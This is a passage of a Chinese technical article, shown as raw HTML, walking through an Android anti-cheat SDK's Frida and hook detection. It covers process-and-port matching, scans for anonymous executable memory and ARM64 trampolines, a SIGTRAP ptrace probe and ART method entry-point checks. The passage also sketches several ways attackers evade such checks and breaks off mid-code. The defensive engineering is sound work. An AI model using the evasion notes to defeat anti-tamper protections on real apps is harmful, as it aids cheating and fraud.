style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="motoohz21b9t" style="font-size: 15px;"><span leaf="">第 3 层：把进程和端口绑起来</span></span></h3><p><span mpa-font-style="motoohz2ajb" style="font-size: 15px;"><span leaf="">到第 2 层，已经能很精准地判断&#34;本机有 D-Bus 服务在监听&#34;。但还有一个细节：怎么证明这个服务</span><strong><span leaf="">就是 Frida</span></strong><span leaf="">而不是别的什么 D-Bus 应用？</span></span></p><p><span mpa-font-style="motoohz2184p" style="font-size: 15px;"><code><span leaf="">HookFrameworkDetector.java</span></code><span leaf="">第 151 行又加了一道门：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="motoohz21n2h"><span leaf="">List</span><span leaf="">&lt;</span><span leaf="">Integer</span><span leaf="">&gt; pids </span><span leaf="">=</span><span leaf="">ProcfsUtils</span><span leaf="">.findPidsByNameFragments(</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">&#34;frida-server&#34;</span>, <span class="code-snippet__string">&#34;frida_helper&#34;</span>);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">for</span> (</span><span leaf="">Integer</span><span leaf=""> pid : pids) {</span><span leaf=""><br/></span><span leaf="">    addStrong(details, score, <span class="code-snippet__string">&#34;frida_pid:&#34;</span> </span><span leaf="">+</span><span leaf=""> pid);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">for</span> (</span><span leaf="">Integer</span><span leaf=""> port : </span><span leaf="">ProcfsUtils</span><span leaf="">.findPidLoopbackListeningPorts(pid)) {</span><span leaf=""><br/></span><span leaf="">        addStrong(details, score, <span class="code-snippet__string">&#34;frida_pid_port:&#34;</span> </span><span leaf="">+</span><span leaf=""> port);</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">}</span></code></pre></p><p><span leaf="" mpa-font-style="motoohz2qkd" style="font-size: 15px;">逻辑分两步：</span></p><p><span mpa-font-style="motoohz214d8" style="font-size: 15px;"><span leaf="">第一步，扫遍</span><code><span leaf="">/proc/[pid]/</span></code><span leaf="">，从</span><code><span leaf="">comm</span></code><span leaf="">和</span><code><span leaf="">cmdline</span></code><span leaf="">里找名字带</span><code><span leaf="">frida-server</span></code><span leaf="">或</span><code><span leaf="">frida_helper</span></code><span leaf="">的进程，捞出所有候选 PID。</span><code><span leaf="">findPidsByNameFragments</span></code><span leaf="">干这事。</span></span></p><p><span mpa-font-style="motoohz2hv2" style="font-size: 15px;"><span leaf="">第二步，针对每个候选 PID，读</span><code><span leaf="">/proc/[pid]/net/tcp</span></code><span leaf="">和</span><code><span leaf="">/proc/[pid]/net/tcp6</span></code><span leaf="">——这个文件存的是这个进程能看到的 socket 表（在 net namespace 下），一样能找出它在 listen 哪些回环端口。</span></span></p><p><span leaf="" mpa-font-style="motoohz21v2l" style="font-size: 15px;">进程身份和端口监听绑死：哪怕攻击者改了端口、又装作其他服务，只要&#34;某个进程同时具备 frida 进程特征 + 在 listen 一个回环端口&#34;，就 strong 信号直接打。</span></p><p><span mpa-font-style="motoohz21s5c" style="font-size: 15px;"><span leaf="">测过的对手里有把 frida-server 改名叫</span><code><span leaf="">media.codec_v2</span></code><span leaf="">、端口换成 31337、还专门起了个伪装 ContentProvider 抢答其他检测的。这套规则（进程名特征 + 进程独立持有的端口表）是当时唯一稳稳钉死它的检测项。</span></span></p><p><span leaf="" mpa-font-style="motoohz2nky" style="font-size: 15px;">多源关联是反作弊一切方法的灵魂。单维度检测一打就穿，两个维度对上了可信度翻倍，三个维度对上了攻击者几乎赖不掉。</span></p><p><span leaf="" mpa-font-style="motoohz2tgx" style="font-size: 15px;">但到这里所有检测都还在&#34;看名字、看协议、看端口&#34;——只要攻击者把 Frida 改造得彻底匿名（gadget 模式、不开端口、不用 D-Bus），上面这三层都会失效。</span></p><p><span leaf="" mpa-font-style="motoohz2kpz" style="font-size: 15px;">下面进入项目最硬的一层。</span></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="motoohz2bbk" style="font-size: 15px;"><span leaf="">第 4 层：内存层——看物理痕迹</span></span></h3><p><span mpa-font-style="motoohz21lam" style="font-size: 15px;"><span leaf="">前面讲过 hook 的本质：</span><strong><span leaf="">要让原方法跳到 hook 实现，就得改原方法的入口</span></strong><span leaf="">。这是绕不过去的事实。代码可以重命名，端口可以换，协议可以改，要 hook 一个函数那个函数的内存就一定会变。最高级的检测都在内存层。</span></span></p><p><span mpa-font-style="motoohz2m8p" style="font-size: 15px;"><code><span leaf="">cpp/detector/native_hook_detector.cpp</span></code><span leaf="">里干了三件事，盯三种&#34;内存痕迹&#34;。</span></span></p><p><strong mpa-font-style="motoohz21l6x" style="font-size: 15px;"><span leaf="">痕迹一：anon_exec 匿名可执行内存段</span></strong></p><p><span mpa-font-style="motoohz21uuz" style="font-size: 15px;"><span leaf="">正常 APK 里的 .so 文件加载进来，maps 里那一行一定有</span><code><span leaf="">pathname</span></code><span leaf="">字段对应文件路径。frida-gadget 通过</span><code><span leaf="">mmap(MAP_ANONYMOUS | PROT_READ | PROT_EXEC, ...)</span></code><span leaf="">注入的代码段，路径列是空的。</span></span></p><p><span mpa-font-style="motoohz2qnb" style="font-size: 15px;"><code><span leaf="">native_hook_detector.cpp</span></code><span leaf="">第 128 行：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="motoohz2dq1"><span leaf="">bool is_suspicious_executable_region(<span class="code-snippet__keyword">const</span> MapEntry &amp;entry) {</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> (entry.end &lt;= entry.start || entry.perms.size() &lt; <span class="code-snippet__number">3</span>) <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">false</span>;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> (entry.perms[<span class="code-snippet__number">0</span>] != <span class="code-snippet__string">&#39;r&#39;</span> || entry.perms[<span class="code-snippet__number">2</span>] != <span class="code-snippet__string">&#39;x&#39;</span>) <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">false</span>;</span><span leaf=""><br/></span><span leaf="">    std::string lower = to_lower(entry.raw);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> (contains_any(lower, {</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">&#34;dalvik-jit&#34;</span>, <span class="code-snippet__string">&#34;jit-cache&#34;</span>, <span class="code-snippet__string">&#34;zygote&#34;</span>, <span class="code-snippet__string">&#34;scudo&#34;</span>, <span class="code-snippet__string">&#34;linker_alloc&#34;</span>,</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">&#34;memfd:jit&#34;</span>, <span class="code-snippet__string">&#34;vdex&#34;</span>, <span class="code-snippet__string">&#34;boot-framework&#34;</span>, <span class="code-snippet__string">&#34;[vectors]&#34;</span></span><span leaf=""><br/></span><span leaf="">    })) {</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">false</span>;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> entry.path.empty();</span><span leaf=""><br/></span><span leaf="">}</span></code></pre></p><p><span mpa-font-style="motoohz28ad" style="font-size: 15px;"><span leaf="">判定：可读 + 可执行（</span><code><span leaf="">r-xp</span></code><span leaf="">）、路径空、不在白名单里。后面这个白名单是关键——Android 自己的 ART 就有一堆合法的匿名可执行段（JIT 编译出来的代码、dalvik-jit、memfd:jit），不排掉它们误报满天飞。误报治理的代码占整个检测器近一半篇幅，但生产环境必须有。</span></span></p><p><span leaf="" mpa-font-style="motoohz2suk" style="font-size: 15px;">maps 的格式：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="motoohz26kg"><span leaf="">addr_start-addr_end perms offset dev inode pathname</span><span leaf=""><br/></span><span leaf="">7f4a000000-7f4a020000 r-xp 00000000 fd:00 12345 /system/lib64/libc.so</span></code></pre></p><p><span leaf="" mpa-font-style="motoohz21xjx" style="font-size: 15px;">每行一个内存段，pathname 缺失就是匿名映射。</span></p><p><span mpa-font-style="motoohz21b4" style="font-size: 15px;"><span leaf="">绕这一层的姿势：在 mmap 之后改</span><code><span leaf="">/proc/self/maps</span></code><span leaf="">的内容——不行，maps 是内核生成的虚拟文件，应用层改不了。只能 hook 读路径。但 native 走的是 raw syscall + 自己 parse，hook libc 没用。</span></span></p><p><span leaf="" mpa-font-style="motoohz21omo" style="font-size: 15px;">更高级的姿势：把代码段提前 mmap 到一个有合法路径的文件后面，伪造成系统库延伸。这要么对应文件不存在（fstat 一查就露），要么得真的预先放一个伪造文件落盘——工作量级再跳一档。</span></p><p><strong mpa-font-style="motoohz223ct" style="font-size: 15px;"><span leaf="">痕迹二：ARM64 inline hook 的 trampoline 指令模式</span></strong></p><p><span leaf="" mpa-font-style="motoohz2219y" style="font-size: 15px;">inline hook 的本质：把目标函数开头几条指令替换成跳转指令，让程序跳到 hook 实现，hook 实现执行完再跳回原指令的下一条。</span></p><p><span leaf="" mpa-font-style="motoohz2wzw" style="font-size: 15px;">ARM64 上一种最常见的跳板写法：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="motoohz21jqk"><span leaf="">LDR  X16, =target_addr   ; 把目标地址加载到 X16</span><span leaf=""><br/></span><span leaf="">BR   X16                 ; 无条件跳转到 X16</span></code></pre></p><p><span mpa-font-style="motoohz21246" style="font-size: 15px;"><span leaf="">这两条指令在机器码里有非常稳定的模式。</span><code><span leaf="">native_hook_detector.cpp</span></code><span leaf="">第 94 行起：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="motoohz2z1j"><span leaf="">bool</span><span leaf=""><span class="code-snippet__title">is_arm64_ldr_literal</span><span class="code-snippet__params">(</span></span><span leaf=""><span class="code-snippet__params">uint32_t</span></span><span leaf=""><span class="code-snippet__params"> instruction)</span> </span><span leaf="">{</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> (instruction &amp; <span class="code-snippet__number">0x3B000000</span>u) == <span class="code-snippet__number">0x18000000</span>u;</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">bool</span><span leaf=""><span class="code-snippet__title">is_arm64_br</span><span class="code-snippet__params">(</span></span><span leaf=""><span class="code-snippet__params">uint32_t</span></span><span leaf=""><span class="code-snippet__params"> instruction)</span> </span><span leaf="">{</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> (instruction &amp; <span class="code-snippet__number">0xFFFFFC1F</span>u) == <span class="code-snippet__number">0xD61F0000</span>u;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre></p><p><span mpa-font-style="motoohz2akz" style="font-size: 15px;"><span leaf="">ARM64 指令编码：每条 ARM64 指令固定 4 字节。</span><code><span leaf="">LDR (literal)</span></code><span leaf="">的高位 opcode 模式是</span><code><span leaf="">0x18000000</span></code><span leaf="">加各种修饰位。</span><code><span leaf="">BR</span></code><span leaf="">指令是</span><code><span leaf="">0xD61F0000</span></code><span leaf="">加寄存器编号（占低 5 位）。两个 mask 把变化位过滤掉，比较固定位就能识别指令类型。</span></span></p><p><span leaf="" mpa-font-style="motoohz21iwd" style="font-size: 15px;">扫每个可执行段开头：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="motoohz21sef"><span leaf="">size_t</span><span leaf=""><span class="code-snippet__title">scan_trampoline_hits</span><span class="code-snippet__params">(</span></span><span leaf=""><span class="code-snippet__params">const</span></span><span leaf=""><span class="code-snippet__params"> MapEntry &amp;entry)</span> </span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">#<span class="code-snippet__keyword">if</span> defined(__aarch64__)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> (entry.end &lt;= entry.start || entry.perms[<span class="code-snippet__number">0</span>] != <span class="code-snippet__string">&#39;r&#39;</span> || entry.perms[<span class="code-snippet__number">2</span>] != <span class="code-snippet__string">&#39;x&#39;</span>) <span class="code-snippet__keyword">return</span> <span class="code-snippet__number">0</span>;</span><span leaf=""><br/></span><span leaf="">size_t</span><span leaf=""> length = std::<span class="code-snippet__built_in">min</span>&lt;</span><span leaf="">uintptr_t</span><span leaf="">&gt;(entry.end - entry.start, <span class="code-snippet__number">4096</span>);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> (length &lt; <span class="code-snippet__built_in">sizeof</span>(</span><span leaf="">uint32_t</span><span leaf="">) * <span class="code-snippet__number">2</span>) <span class="code-snippet__keyword">return</span> <span class="code-snippet__number">0</span>;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">auto</span> *cursor = <span class="code-snippet__built_in">reinterpret_cast</span>&lt;</span><span leaf="">const</span><span leaf="">uint32_t</span><span leaf=""> *&gt;(entry.start);</span><span leaf=""><br/></span><span leaf="">size_t</span><span leaf=""> count = length / <span class="code-snippet__built_in">sizeof</span>(</span><span leaf="">uint32_t</span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">size_t</span><span leaf=""> hits = <span class="code-snippet__number">0</span>;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">for</span> (</span><span leaf="">size_t</span><span leaf=""> i = <span class="code-snippet__number">0</span>; i + <span class="code-snippet__number">1</span> &lt; count; ++i) {</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> (<span class="code-snippet__built_in">is_arm64_ldr_literal</span>(cursor[i]) &amp;&amp; <span class="code-snippet__built_in">is_arm64_br</span>(cursor[i + <span class="code-snippet__number">1</span>])) {</span><span leaf=""><br/></span><span leaf="">            ++hits;</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> hits;</span><span leaf=""><br/></span><span leaf="">#<span class="code-snippet__keyword">else</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__number">0</span>;</span><span leaf=""><br/></span><span leaf="">#<span class="code-snippet__keyword">endif</span></span><span leaf=""><br/></span><span leaf="">}</span></code></pre></p><p><span leaf="" mpa-font-style="motoohz2b7y" style="font-size: 15px;">只扫前 4096 字节是个性能权衡。inline hook 的跳板永远在函数开头，深扫整个段就是浪费 CPU。</span></p><p><span mpa-font-style="motoohz224e1" style="font-size: 15px;"><span leaf="">绕这层换其他跳板模式。比如</span><code><span leaf="">MOVZ + MOVK + MOVK + MOVK + BR</span></code><span leaf="">用四条</span><code><span leaf="">MOVZ/MOVK</span></code><span leaf="">拼出 64 位地址再跳。能用，但加一条规则的成本比攻击方换实现的成本低一个数量级——主动权在防守方。</span></span></p><p><strong mpa-font-style="motoohz21lt6" style="font-size: 15px;"><span leaf="">痕迹三：SIGTRAP handler 探针</span></strong></p><p><span mpa-font-style="motoohz21cxa" style="font-size: 15px;"><span leaf="">这条最有意思。</span><code><span leaf="">native_hook_detector.cpp</span></code><span leaf="">第 196 行：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="motoohz2tle"><span leaf="">bool</span><span leaf=""><span class="code-snippet__title">run_sigtrap_probe</span><span class="code-snippet__params">()</span> </span><span leaf="">{</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">struct</span> <span class="code-snippet__title">sigaction</span> action{};</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">struct</span> <span class="code-snippet__title">sigaction</span> old_action{};</span><span leaf=""><br/></span><span leaf="">    action.sa_sigaction = sigtrap_handler;</span><span leaf=""><br/></span><span leaf="">    action.sa_flags = SA_SIGINFO;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">sigemptyset</span>(&amp;action.sa_mask);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> (<span class="code-snippet__built_in">sigaction</span>(SIGTRAP, &amp;action, &amp;old_action) != <span class="code-snippet__number">0</span>) <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">true</span>;</span><span leaf=""><br/></span><span leaf="">    g_sigtrap_seen = <span class="code-snippet__number">0</span>;</span><span leaf=""><br/></span><span leaf="">pid_t</span><span leaf=""> pid = <span class="code-snippet__built_in">getpid</span>();</span><span leaf=""><br/></span><span leaf="">pid_t</span><span leaf=""> tid = <span class="code-snippet__built_in">static_cast</span>&lt;</span><span leaf="">pid_t</span><span leaf="">&gt;(<span class="code-snippet__built_in">syscall</span>(__NR_gettid));</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">syscall</span>(__NR_tgkill, pid, tid, SIGTRAP);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">sigaction</span>(SIGTRAP, &amp;old_action, <span class="code-snippet__literal">nullptr</span>);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> g_sigtrap_seen == <span class="code-snippet__number">1</span>;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre></p><p><span mpa-font-style="motoohz21fsi" style="font-size: 15px;"><span leaf="">代码自己注册一个 SIGTRAP handler，然后用</span><code><span leaf="">tgkill</span></code><span leaf="">给当前线程发一个 SIGTRAP，看 handler 收没收到（</span><code><span leaf="">g_sigtrap_seen</span></code><span leaf="">标志位）。如果 handler 没收到，说明信号路径被劫持了——通常是某个调试器或 hook 框架在接管 SIGTRAP。</span></span></p><p><span leaf="" mpa-font-style="motoohz21e64" style="font-size: 15px;">原理：ptrace + 调试断点是用 SIGTRAP 实现的。调试器给目标进程下断点 = 把目标指令换成 BRK，被 ptrace 跟踪的进程触发 BRK 时内核会把 SIGTRAP 投递给 tracer 而不是 tracee，tracee 自己注册的 handler 就吃不到这个信号。</span></p><p><span leaf="" mpa-font-style="motoohz2159e" style="font-size: 15px;">这是个&#34;反推存在&#34;：没法直接判断有没有被 ptrace，那就发个 SIGTRAP 给自己看自己接不接得到。接不到就有人在动信号路径。</span></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="motoohz2g39" style="font-size: 15px;"><span leaf="">第 5 层：自检——别去找 frida 在哪，看 frida 有没有动我</span></span></h3><p><span mpa-font-style="motoohz27os" style="font-size: 15px;"><span leaf="">到第 4 层，前面所有招数都在主动找 Frida 在进程里的痕迹。还有一个完全不同的视角没用：</span><strong><span leaf="">别去找 frida 在哪，去看自己的关键方法有没有被 frida 动过</span></strong><span leaf="">。</span></span></p><p><span mpa-font-style="motoohz21i2q" style="font-size: 15px;"><code><span leaf="">detector/MethodIntegrityDetector.java</span></code><span leaf="">：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="motoohz21ijb"><span leaf="">@Override</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">protected</span> DetectionResult <span class="code-snippet__title">detect</span>()</span><span leaf=""> {</span><span leaf=""><br/></span><span leaf="">    List&lt;String&gt; suspicious = <span class="code-snippet__keyword">new</span> ArrayList&lt;&gt;();</span><span leaf=""><br/></span><span leaf="">    inspect(suspicious, RiskEngine.<span class="code-snippet__keyword">class</span>, <span class="code-snippet__string">&#34;collectSync&#34;</span>);</span><span leaf=""><br/></span><span leaf="">    inspect(suspicious, RiskEngine.<span class="code-snippet__keyword">class</span>, <span class="code-snippet__string">&#34;getReportJson&#34;</span>);</span><span leaf=""><br/></span><span leaf="">    inspect(suspicious, HookFrameworkDetector.<span class="code-snippet__keyword">class</span>, <span class="code-snippet__string">&#34;detect&#34;</span>);</span><span leaf=""><br/></span><span leaf="">    inspect(suspicious, DebugDetector.<span class="code-snippet__keyword">class</span>, <span class="code-snippet__string">&#34;detect&#34;</span>);</span><span leaf=""><br/></span><span leaf="">    inspect(suspicious, EmulatorDetector.<span class="code-snippet__keyword">class</span>, <span class="code-snippet__string">&#34;detect&#34;</span>);</span><span leaf=""><br/></span><span leaf="">    inspect(suspicious, AndroidIdCollector.<span class="code-snippet__keyword">class</span>, <span class="code-snippet__string">&#34;collectViaSettingsApi&#34;</span>, ...);</span><span leaf=""><br/></span><span leaf="">    inspect(suspicious, Debug.<span class="code-snippet__keyword">class</span>, <span class="code-snippet__string">&#34;isDebuggerConnected&#34;</span>);</span><span leaf=""><br/></span><span leaf="">    inspect(suspicious, Settings.Secure.<span class="code-snippet__keyword">class</span>, <span class="code-snippet__string">&#34;getString&#34;</span>,</span><span leaf=""><br/></span><span leaf="">            android.content.ContentResolver.<span class="code-snippet__keyword">class</span>, String.<span class="code-snippet__keyword">class</span>);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> (!suspicious.isEmpty()) {</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> result(RiskLevel.HIGH, DetectionStatus.DANGER, <span class="code-snippet__number">10</span>, <span class="code-snippet__number">10</span>, <span class="code-snippet__literal">false</span>, ...);</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> safe();</span><span leaf=""><br/></span><span leaf="">}</span></code></pre></p><p><span leaf="" mpa-font-style="motoohz2mte" style="font-size: 15px;">挑出来盯的方法分四类：</span></p><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><p><span mpa-font-style="motoohz28fm" style="font-size: 15px;"><span leaf="">SDK 自己的关键方法：</span><code><span leaf="">collectSync</span></code><span leaf="">、</span><code><span leaf="">getReportJson</span></code><span leaf="">，对应&#34;采集入口&#34;</span></span></p></li><li><p><span mpa-font-style="motoohz26xi" style="font-size: 15px;"><span leaf="">其他检测器的入口：</span><code><span leaf="">HookFrameworkDetector.detect</span></code><span leaf="">、</span><code><span leaf="">DebugDetector.detect</span></code><span leaf="">、</span><code><span leaf="">EmulatorDetector.detect</span></code><span leaf="">，对应&#34;兄弟检测器有没有被绑架&#34;</span></span></p></li><li><p><span mpa-font-style="motoohz219j2" style="font-size: 15px;"><span leaf="">数据采集入口：</span><code><span leaf="">AndroidIdCollector.collectViaSettingsApi</span></code></span></p></li><li><p><span mpa-font-style="motoohz21en1" style="font-size: 15px;"><span leaf="">系统级敏感方法：</span><code><span leaf="">Debug.isDebuggerConnected</span></code><span leaf="">、</span><code><span leaf="">Settings.Secure.getString</span></code></span></p></li></ul><p><span mpa-font-style="motoohz21f1x" style="font-size: 15px;"><span leaf="">挑这几个不是随便挑的，都是攻击者要&#34;消灭风控&#34;几乎必 hook 的目标。</span><code><span leaf="">HookFrameworkDetector.detect</span></code><span leaf="">自己就是 hook 检测的入口，攻击者要让 hook 检测不报，第一选择就是 hook 这个方法让它直接 return safe。把它做成&#34;必经之路&#34;，反过来 hook 它就一定会留下痕迹。</span></span></p><p><span mpa-font-style="motoohz21hfq" style="font-size: 15px;"><span leaf="">每个方法走一次</span><code><span leaf="">inspect</span></code><span leaf="">：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="motoohz2100n"><span leaf=""><span class="code-snippet__keyword">private</span> <span class="code-snippet__built_in">void</span> <span class="code-snippet__title">inspect</span>(<span class="code-snippet__params">List&lt;</span><span class="code-snippet__params"><span class="code-snippet__built_in">String</span></span><span class="code-snippet__params">&gt; suspicious, Class&lt;?&gt; owner, </span><span class="code-snippet__params"><span class="code-snippet__built_in">String</span></span><span class="code-snippet__params"> name, Class&lt;?&gt;... parameterTypes</span>) {</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__title">String</span> methodLabel = owner.<span class="code-snippet__title">getName</span>() + <span class="code-snippet__string">&#34;#&#34;</span> + name;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">try</span> {</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__title">Executable</span> executable = owner.<span class="code-snippet__title">getDeclaredMethod</span>(name, parameterTypes);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__title">String</span> result = <span class="code-snippet__title">NativeCollectorBridge</span>.<span class="code-snippet__title">nativeInspectMethodEntryPoint</span>(executable);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> (result == <span class="code-snippet__literal">null</span> || result.<span class="code-snippet__title">isEmpty</span>()) <span class="code-snippet__keyword">return</span>;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> (result.<span class="code-snippet__title">startsWith</span>(<span class="code-snippet__string">&#34;suspicious:&#34;</span>)) {</span><span leaf=""><br/></span><span leaf="">            suspicious.<span class="code-snippet__title">add</span>(methodLabel + <span class="code-snippet__string">&#34;:&#34;</span> + result.<span class="code-snippet__title">substring</span>(<span class="code-snippet__string">&#34;suspicious:&#34;</span>.<span class="code-snippet__title">length</span>()));</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">    } <span class="code-snippet__keyword">catch</span> (...) {}</span><span leaf=""><br/></span><span leaf="">}</span></code></pre></p><p><span mpa-font-style="motoohz2l90" style="font-size: 15px;"><span leaf="">把 Java</span><code><span leaf="">Executable</span></code><span leaf="">对象（其实是 ART 内部 ArtMethod 的封装）传给 native，native 端通过 ART 的 ArtMethod 内存布局找到这个方法的&#34;快速编译入口指针&#34;（</span><code><span leaf="">entry_point_from_quick_compiled_code</span></code><span leaf="">），看这个指针指向的内存段是合法系统区域还是被劫持过的可疑区域。</span></span></p><p><span mpa-font-style="motoohz2fn0" style="font-size: 15px;"><code><span leaf="">native_hook_detector.cpp</span></code><span leaf="">第 290 行</span><code><span leaf="">native_inspect_method_entry_point</span></code><span leaf="">：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="motoohz2can"><span leaf=""><span class="code-snippet__keyword">constexpr</span> </span><span leaf="">size_t</span><span leaf=""> kProbeBytes = <span class="code-snippet__number">64</span>;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">constexpr</span> </span><span leaf="">size_t</span><span leaf=""> kWordSize = <span class="code-snippet__built_in">sizeof</span>(</span><span leaf="">uintptr_t</span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">size_t</span><span leaf=""> readable_bytes = ...;</span><span leaf=""><br/></span><span leaf="">size_t</span><span leaf=""> probe_bytes = std::<span class="code-snippet__built_in">min</span>(kProbeBytes, readable_bytes);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">for</span> (</span><span leaf="">size_t</span><span leaf=""> offset = <span class="code-snippet__number">0</span>; offset + kWordSize &lt;= probe_bytes; offset += kWordSize) {</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">auto</span> *slot = <span class="code-snippet__built_in">reinterpret_cast</span>&lt;</span><span leaf="">const</span><span leaf="">uintptr_t</span><span leaf=""> *&gt;(art_method + offset);</span><span leaf=""><br/></span><span leaf="">uintptr_t</span><span leaf=""> candidate_address = *slot;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> (candidate_address &lt; <span class="code-snippet__number">4096</span>) <span 